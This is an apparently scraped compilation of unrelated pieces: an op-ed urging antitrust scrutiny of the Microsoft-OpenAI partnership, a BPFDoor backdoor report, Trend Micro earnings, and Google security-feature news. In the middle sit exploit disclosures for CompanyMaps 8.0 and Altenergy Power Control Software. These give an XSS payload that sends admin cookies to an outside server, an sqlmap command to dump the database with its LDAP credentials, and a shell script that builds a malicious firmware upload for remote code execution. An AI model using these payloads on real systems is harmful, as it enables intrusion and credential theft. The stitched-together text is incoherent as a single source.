Regulators should apply a healthy skepticism to generative AI developments to guarantee a competitive marketplace.

Generative artificial intelligence (AI) is developing at breakneck speed. After a couple of months of unalloyed enthusiasm, crucial questions about accuracy, bias, security, and regulation are now surfacing. Recently we've seen officials in Germany and Italy scrutinize or outright ban ChatGPT over security and privacy concerns. US regulators are moving toward a similar healthy skepticism.

Blanket regulations on particular applications of AI models might appeal to some as a way to constrain markets, but as Bill Gates recently said, "it won't solve \[its\] challenges." A better way for regulators to ensure AI development and deployment is safe, open, and producing real-world benefits is to keep markets robust by scrutinizing AI partnerships that lack transparency and other arrangements that try to prevent fair competition. The standard to strive for is an innovative, transparent, and competitive marketplace that can bring life-changing technology to the masses in safe and responsible ways.

**Microsoft's Footprint**

The place to start is with the partnership between Microsoft and OpenAI. Microsoft grasped the potential of OpenAI's work long before the resounding success of ChatGPT's public launch. But Microsoft's 2019 deal with OpenAI was not a conventional financial investment. Instead, the initial billion dollars from Microsoft largely came in the form of Azure credits, a de facto subsidy that led to OpenAI being built on Microsoft's cloud — exclusively and rent free.

This unusual partnership has created deep ties between Microsoft and OpenAI's technology infrastructures and sets a clear path to a technological walled garden. The agreement presents pressing questions for regulators: why should this partnership not be viewed as a deft move to create a subsidiary relationship while avoiding antitrust scrutiny? If so, should the Federal Trade Commission step in immediately to examine the impact on the competitive landscape? Is telegraphing a walled-garden strategy enough to warrant investigation and potential action by regulators today to forestall future harm?

History suggests the answer to these questions should be yes. Digital technology over the past 40 years has followed a predictable cycle: a long period of slow, incremental evolution culminating in a threshold moment that changes the world. This pattern led to the World Wide Web in the 1990s, mobile phones in the 2000s, and is happening today with AI. As AI prepares to enter a new phase of broad adoption and revolutionary technologies, the biggest risk that technology itself cannot solve for will very likely be anti-competitive business practices.

History also shows what will likely happen if regulators stand by. Large, first-mover firms will try to lock up foundational technologies and use market power to create long-term advantage. Microsoft wrote the playbook with the bundling of Internet Explorer into Windows and now appears ready to rerun that familiar play.

**Equal Terms**

If OpenAI can't run its most advanced models efficiently on non-Microsoft platforms, society will lose out. We want foundational technologies to be available on equal terms to innovators large and small, established and otherwise. We want companies to succeed wildly by using and building on foundational technologies, on the basis that innovation and competition creates previously unimaginable products that benefit customers and society at large. We don't want one company serving as gatekeeper and hoarding foundational technology to limit innovation from competitors. And more importantly, if we let a Microsoft AI walled garden be built, are we inviting other AI walled gardens to quickly follow — an Oracle walled garden, a Meta walled garden, a Google walled garden — limiting interoperability and stunting innovation? This is precisely the scenario that modern antitrust policy aims to prevent.

An optimist might object to this argument and point out that the early pathway for foundational technologies is notoriously hard to foresee. No one can prove at this moment that new entrants and open source alternatives won't reduce OpenAI's lead or even get out ahead. But if that hopeful view is incorrect, going backward to undo the damage will be tougher, bordering on impossible. Hoping for the best isn't a good strategy in antitrust, just as elsewhere.

Modern innovation often requires massively ambitious bets. It's one thing for a monolithic firm to invest billions in a startup with long-term research and development programs. It's another thing entirely to shape the investment into a captive relationship with a just-emerging foundational technology whose application could lead the innovation environment for decades.

Regulators are right to question the policies that guide AI ethics, fairness, and values. But one of the most effective ways to advance those goals is to ensure a broad, diverse, and competitive marketplace where the key foundational technologies are open for equal access. That means taking steps now to prevent "walled gardens'' from being built in the first place. Rather than scrambling for a cure too far down the road, regulators should step in now and ensure the Microsoft-OpenAI partnership isn't simply anti-competitive activity under a clever disguise. Otherwise, a single company's profit could be set up to prevail over what promises to be a world changing threshold moment.

AI Is About to Be Everywhere: Where Will Regulators Be?

A previously undocumented and mostly undetected variant of a Linux backdoor called BPFDoor has been spotted in the wild, cybersecurity firm Deep Instinct said in a technical report published this week.
"BPFDoor retains its reputation as an extremely stealthy and difficult-to-detect malware with this latest iteration," security researchers Shaul Vilkomir-Preisman and Eliran Nissan said.
BPFDoor (

A previously undocumented and mostly undetected variant of a Linux backdoor called **BPFDoor** has been spotted in the wild, cybersecurity firm Deep Instinct said in a technical report published this week.

"BPFDoor retains its reputation as an extremely stealthy and difficult-to-detect malware with this latest iteration," security researchers Shaul Vilkomir-Preisman and Eliran Nissan said.

BPFDoor (aka JustForFun), first documented by PwC and Elastic Security Labs in May 2022, is a passive Linux backdoor associated with a Chinese threat actor called Red Menshen (aka DecisiveArchitect or Red Dev 18), which is known to single out telecom providers across the Middle East and Asia since at least 2021.

The malware is specifically geared towards establishing persistent remote access to compromised target environments for extended periods of time, with evidence pointing to the hacking crew operating the backdoor undetected for years.

BPFDoor gets its name from the use of Berkeley Packet Filters (BPF) – a technology that makes it possible to analyze and filter network traffic in Linux systems – for network communications and process incoming commands.

In doing so, threat actors can penetrate a victim's system and execute arbitrary code without being detected by firewalls, while simultaneously filtering out unnecessary data.

Deep Instinct's findings come from a BPFDoor artifact that was uploaded to VirusTotal on February 8, 2023. As of writing, only three security vendors have flagged the ELF binary as malicious.

One of the key characteristics that make the new version of BPFDoor even more evasive is its removal of many hard-coded indicators and instead incorporating a static library for encryption (libtomcrypt) and a reverse shell for command-and-control (C2) communication.

Upon launch, BPFDoor is configured to ignore various operating system signals to prevent it from being terminated. It then allocates a memory buffer and creates a special packet sniffing socket that monitors for incoming traffic with a specific Magic Byte sequence by hooking a BPF filter onto the raw socket.

"When BPFdoor finds a packet containing its Magic Bytes in the filtered traffic, it will treat it as a message from its operator and will parse out two fields and will again fork itself," the researchers explained.

"The parent process will continue and monitor the filtered traffic coming through the socket while the child will treat the previously parsed fields as a command-and-control IP-Port combination and will attempt to contact it."

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In the final stage, BPFDoor sets up an encrypted reverse shell session with the C2 server and awaits further instructions to be executed on the compromised machine.

The fact that BPFDoor has remained hidden for a long duration speaks to its sophistication, what with threat actors increasingly developing malware targeting Linux systems owing to their prevalence in enterprise and cloud environments.

The development comes as Google announced a new extended Berkeley Packet Filter (eBPF) fuzzing framework called Buzzer to help harden the Linux kernel and ensure that sandboxed programs that run in a privileged context are valid and safe.

The tech giant further said the testing method led to the discovery of a security flaw (CVE-2023-2163) that could be exploited to achieve arbitrary reading and writing of kernel memory.

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Cross Site Scripting vulnerability found in Maximilian Vogt cmaps v.8.0 allows a remote attacker to execute arbitrary code via the auditlog tab in the admin panel.

# Exploit Title: Stored Cross Site Scripting# Google Dork:# Date: 27.04.2023# Exploit Author: Lucas Noki (0xPrototype)# Vendor Homepage: https://github.com/vogtmh# Software Link: https://github.com/vogtmh/cmaps# Version: 8.0# Tested on: Mac, Windows, Linux# CVE : CVE-2023-29983*Steps to reproduce:*1. Clone the repository and install the application2. Send a maliciously crafted payload via the "token" parameter to the following endpoint: /rest/update/?token=3. The payload used is: <script>new+Image().src=`http://YOUR_COLLABORATOR_SERVER/?c=${document.cookie}`</script>4. Simply visiting the complete URL: http://IP/rest/update/?token=PAYLOAD is enough.5. Login into the admin panel and go to the auditlog under: /admin/index.php?tab=auditlog6. Check your collaborator server. You should have a request where the admins cookie is the value of the c parameterIn a real world case you would need to wait for the admin to log into the application and open the auditlog tab.Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

CVE-2023-29983: CompanyMaps 8.0 Cross Site Scripting ≈ Packet Storm

Cross Site Scripting (XSS) vulnerability in vogtmh cmaps (companymaps) 8.0 allows attackers to execute arbitrary code.

# Exploit Title: Reflected Cross Site Scripting- Google Dork:- Date: 27.04.2023- Exploit Author: Lucas Noki (0xPrototype)- Vendor Homepage: https://github.com/vogtmh- Software Link: https://github.com/vogtmh/cmaps- Version: 8.0- Tested on: Mac, Windows, Linux- CVE : CVE-2023-29808*Description:*The vulnerability found is Reflected Cross Site Scripting. When the `/index.php?map=overview&findme=` endpoint is hit with a request where the "findme" parameter contains a malicious payload we have the possibility to perform an XSS attack. This happens because the input isn't sanitized.*Steps to reproduce:*1. Clone the repository and install the application2. Send a maliciously crafted payload via the "findme" parameter to the following endpoint: /index.php?map=overview&findme=3. The payload used is: ";alert(document.cookie)//4. Simply visiting the complete URL: http://IP/index.php?map=overview&findme=";alert(document.cookie)// is enough. Now an alertbox should pop up with your current cookie value. <img src="Screenshot 2023-05-03 at 17.56.59.png" alt="Screenshot 2023-05-03 at 17.56.59" style="zoom:50%;" />Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

CVE-2023-29808: Companymaps 8.0 Cross Site Scripting ≈ Packet Storm

SQL injection vulnerability found in Maximilian Vogt companymaps (cmaps) v.8.0 allows a remote attacker to execute arbitrary code via a crafted script in the request.

# Exploit Title: Unauthenticated SQL injection 
- Google Dork: 
- Date: 27.04.2023 
- Exploit Author: Lucas Noki (0xPrototype) 
- Vendor Homepage: https://github.com/vogtmh 
- Software Link: https://github.com/vogtmh/cmaps 
- Version: 8.0 
- Tested on: Mac, Windows, Linux 
- CVE : CVE-2023-29809

*Description:*

The vulnerability found is an SQL injection. The `bookmap` parameter is vulnerable. When visiting the page: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test we get the normal JSON response. However if a single quote gets appended to the value of the `bookmap` parameter we get an error message: 
```html 
Warning: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in /var/www/html/rest/booking/index.php on line 152 
```

Now if two single quotes get appended we get the normal response without an error. This confirms the opportunity for sql injection. To really prove the SQL injection we append the following payload: 
``` 
'-(select*from(select+sleep(2)+from+dual)a)--+ 
```

The page will sleep for two seconds. This confirms the SQL injection.

*Steps to reproduce:*

1. Send the following payload to test the vulnerability: ```'-(select*from(select+sleep(2)+from+dual)a)--+```

2. If the site slept for two seconds run the following sqlmap command to dump the whole database including the ldap credentials. 
 ```shell 
 python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump 
 ```

Special thanks goes out to iCaotix who greatly helped me in getting the environment setup as well as debugging my payload.

## Request to the server:

<img src="Screenshot 2023-04-30 at 22.23.51.png" alt="Screenshot 2023-04-30 at 22.23.51" style="zoom:50%;" />

## Response from the server:

Look at the response time.

<img src="Screenshot 2023-04-30 at 22.24.35.png" alt="Screenshot 2023-04-30 at 22.24.35" style="zoom:50%;" />

CVE-2023-29809: Companymaps 8.0 SQL Injection ≈ Packet Storm

Altenergy Power Control Software C1.2.5 was discovered to contain a remote code execution (RCE) vulnerability via the component /models/management_model.php.

**title : insufficient verification of firmware integrity "Altenergy Power Control Software" led to RCE****SW ver: C1.2.5****Vendor: https://apsystems.com/****Google Dork: intitle:"Altenergy Power Control Software"****Affected device: ENERGY COMMUNICATION UNIT**

**POC Video :**

**vulnerable code :**

"/home/local\_web/pagesapplication/models/management\_model.php"

 public function exec\_upgrade\_ecu()
 {
 $results = array();
 $res\_array = array();

 exec("rm -rf /tmp/update\_localweb/");
 if ($\_FILES\["file"\]\["error"\] > 0)
 {
 array\_push($res\_array, "Return Code: " . $\_FILES\["file"\]\["error"\] . " ");
 $results\["value"\] = 1;
 }
 else
 {
 array\_push($res\_array, "Upload: " . $\_FILES\["file"\]\["name"\] . " ");
 array\_push($res\_array, "Type: " . $\_FILES\["file"\]\["type"\] . " ");
 array\_push($res\_array, "Size: " . ($\_FILES\["file"\]\["size"\] / 1024) . " Kb ");
 array\_push($res\_array, "Temp file: " . $\_FILES\["file"\]\["tmp\_name"\] . " "); 

 move\_uploaded\_file($\_FILES\["file"\]\["tmp\_name"\], "/tmp/" . $\_FILES\["file"\]\["name"\]);
 array\_push($res\_array, "Stored in: " . "/tmp/" . $\_FILES\["file"\]\["name"\]);
 exec("tar xjvf /tmp/".$\_FILES\["file"\]\["name"\]." -C /tmp");
 exec("ls /tmp/update\_localweb/assist", $temp, $value);
 exec("/tmp/update\_localweb/assist &");
 $results\["value"\] = $value ? 1 : 0;
 }

 $results\["result"\] = implode("\\n",$res\_array);
 return $results;
 }

**Exploit :**

exploit.sh

#!/bin/bash
mkdir update\_localweb 2>/dev/null
payload='ping -c 1 ahvmb8ham4hkik6ifzt7o8puyl4hs6.burpcollaborator.net'
echo $payload \> update\_localweb/assist
chmod 777 update\_localweb/assist
tar cjvf b4db0t.bin update\_localweb/
rm -rf update\_localweb 

Browse to http://<IP\_ADDR>/index.php/management/upgrade\_ecu and upload b4db0t.bin POC :

CVE-2023-31502: Disclosures/Insufficient_Verification_of_Data_Authenticity.MD at main · ahmedalroky/Disclosures

**TOKYO****,** **May 11, 2023** **/PRNewswire/ --** Trend Micro Incorporated (TYO: 4704;TSE: 4704), a global cybersecurity leader, today announced earnings results for the first quarter of fiscal year 2023, ending March 31, 2023 by reporting 16% year-over-year growth. 

Trend Micro's business resilience continues to be achieved by diversifying between both enterprise and consumer customers spanning more geographies than any pure play cybersecurity company. With a singular focus on cybersecurity, these results were powered by a customer base of over 500,000 organizations across more than 175 countries.  

As the growth engine for the company, the enterprise customer segment grew 20% YoY net sales at actual currency driven by a 9% increase in SaaS deployments globally. Enterprise ARR increased by 25% YoY totaling more than US $692 at the company's internal plan exchange rate. The company protects over 68 million enterprise assets at a growth rate of 29% YoY.

As the value engine for the company, Trend continued to invest in its consumer business growing across all geographies at 6% YoY net sales at actual currency.

"We too see the economy impacting markets and expect this to continue for the remainder of the year despite cybersecurity being identified as a critical priority," said Trend Micro CEO and co-founder Eva Chen. "Organizations worldwide are tightening budgets and prioritizing vendors who understand and ease the pressures of the security operations center. We proudly empower every organization to thrive in a world with less risk."

For this quarter, Trend Micro posted consolidated net sales of 58,704 million Yen (or US $443 million, 132.40 JPY \= 1USD). The company posted operating income of 9,548 million Yen (or US $72 million) and net income attributable to owners of the parent of 6,374 million Yen (or US $48 million) for the quarter.

The company will not revise expected consolidated results for the full fiscal year ending December 31, 2023 (released on February 16, 2023). Based on information currently available to the company, consolidated net sales for the year ending December 31, 2023 is expected to be 248,500 million Yen (or US $1,840 million, based on an exchange rate of 135 JPY \= 1 USD). Operating income and net income are expected to be 34,800 million Yen (or US $257 million) and 25,100 million Yen (or US $185 million), respectively.

**Key Business Updates in Q1 2023**

**Innovative**: Trend nurtures a culture of innovation to drive advancements across its cybersecurity platform.

*   Acquired SOC experts Anlyz to extend its orchestration, automation and integration capabilities for the Trend Vision One platform and empower Managed Security Service Providers to improve operational efficiencies, cost effectiveness and security outcomes.
*   Launched a new incubation project as a subsidiary of Trend Micro, focused on combating emerging threats in the private 5G networks.

**Trusted**: Trend is a trusted partner to the customers and communities that it serves.

*   Disclosed newest ransomware survey that revealed how decision makers can leverage operational changes to collectively help drive down ransomware profitability.
*   Announced that the Trend Micro Zero Day Initiative's (ZDI's) Pwn2Own bug bounty competition will add a contest to secure connected vehicle ecosystems.
*   Conducted two Pwn2Own competitions in Q1 which collectively awarded over US $1 Million to external researchers who discovered over 50 unique zero-days, including the first-time generative AI like ChatGPT was used to detect a vulnerability.

**Global**: Trend has the most geographically diverse customers in the industry, with millions of sensors powering the Trend Vision One platform for superior attack surface risk management.

*   Released a global study revealing that while global organizations plan to increase cybersecurity budgets in 2023, while business leaders hold conflicting views on functions.
*   Established a new research and development center in Bangalore, India, with more than 40 technical employees, expanding its worldwide engineering team of over 3000.

**New Patents Filed**

Trend Micro was awarded the following patents in Q1 2023:

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**About Trend Micro**

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Trend Micro Reports Consistent Earnings Results for Q1 2023

By Deeba Ahmed
Google said that with its dark web monitoring feature, not only will users be able to check their…
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**Google said that with its dark web monitoring feature, not only will users be able to check their email addresses on the dark web, but they will also receive advice on improving their online security.**

Google has added the dark web report security feature to its security tools. This feature is offered to all Gmail users in the USA, using which they can check if their email address is published on the dark web.

The search engine giant will soon expand this feature to selected foreign markets. Jen Fitzpatrick, Google’s core services SVP, stated that since March 2023, this feature was available only to Google One subscribers in the US, and now its scope is being expanded.

“Previously only available to Google One subscribers in the US, we’re expanding access to our dark web report in the next few weeks, so anyone with a Gmail account in the US will be able to run scans to see if your Gmail address appears on the dark web and receive guidance on what actions to take to protect yourself.”

Image: Google

**How Will it Improve Data Protection?**

As far as the new dark web monitoring feature is concerned, Google has explained that not only will users be able to check their email addresses on the dark web but will also receive advice on improving their online security. Chrome browser already features a built-in password manager, which helps them keep their data protected.

Using this feature, Gmail users can take their data protection a step ahead with guidance from Google, such as enabling 2FA protection to prevent their accounts from hijacking.

Moreover, Google will notify Gmail users whenever they need to check if their email address is part of any data breaches and may end up on the dark web. This data can end up on the dark web through data breaches suffered by platforms or services a user has subscribed for. It is then sold to cybercriminals who use it for conducting identity theft, phishing scams, and banking fraud.

**What Information can be Checked?**

According to Google, the report generated through this feature will inform the user about the presence of their personal data such as their name, email address, physical address, contact information, and Social Security Number.

The user will be promptly notified if the data is found. If you are a Google One subscriber, you can enable this feature after creating a monitoring profile and clicking Setup> Dark Web Report> Start monitoring.

**When was it Announced?**

The new feature was announced at the Google I/O annual developer conference and will be rolled out within a few weeks. At the conference, the company also confirmed introducing many new security features to improve its products and services protections. This includes adding spam protection to Google Drive and allowing users to delete search history in Google Maps.

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Google used its annual I/O conference keynote to announce anti-stalking updates.



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Last week we reported that Google and Apple were looking for input on a draft specification to alert users in the event of suspected unwanted tracking. Apple and Google said other tracker makers like Samsung, Tile, Chipolo, eufy Security, and Pebblebee have expressed interest in their draft.

Now, Google has used its annual I/O conference keynote to announce updates to its Find My Device network aimed at stopping unwanted tracking by devices with built-in location-tracking capabilities. Examples of these accessories are the Apple AirTag, Tile Mate and Pro, Samsung SmartTag, and Google’s expected Grogu.

The basic principle of these tags is that anyone with the matching app and permissions on their device (usually a phone) contributes to find the last location where the tag was detected. The idea is that you attach a tag to the objects you are afraid of misplacing or losing, such as your keys or your laptop, or even you car, and when you need to find the object you can look in the app and see where it last made contact with a device. This type of contact is usually made over Bluetooth.

After several complaints and reports that these tracking devices were used to track people rather than finding lost objects, some states introduced bills to ban the use of trackers to aid stalking. But while a bill can deter, it doesn’t stop people with criminal intentions directly. Nor do these bills stop the car thieves that planted AirTags on expensive cars, so they could find the cars at home where they were less well protected.

The new features of the Find My Device network allow Android users to find more devices. The update, which is expected this summer, will also alert users about trackers that are registered to another user, but still look like they are following you around.

This could happen if a criminal planted a tag on your laptop so they could track its location. If you keep your laptop close, the tag will stand out, because it does not belong to you but stays in your neighborhood anyway. With the expected Android update, any tracker compatible with the Find My Device network will show up on your app.

If an alert is received from a tracker other than your own, you can then locate the device. These warnings can eventually be expected to work on both Android and Apple devices.

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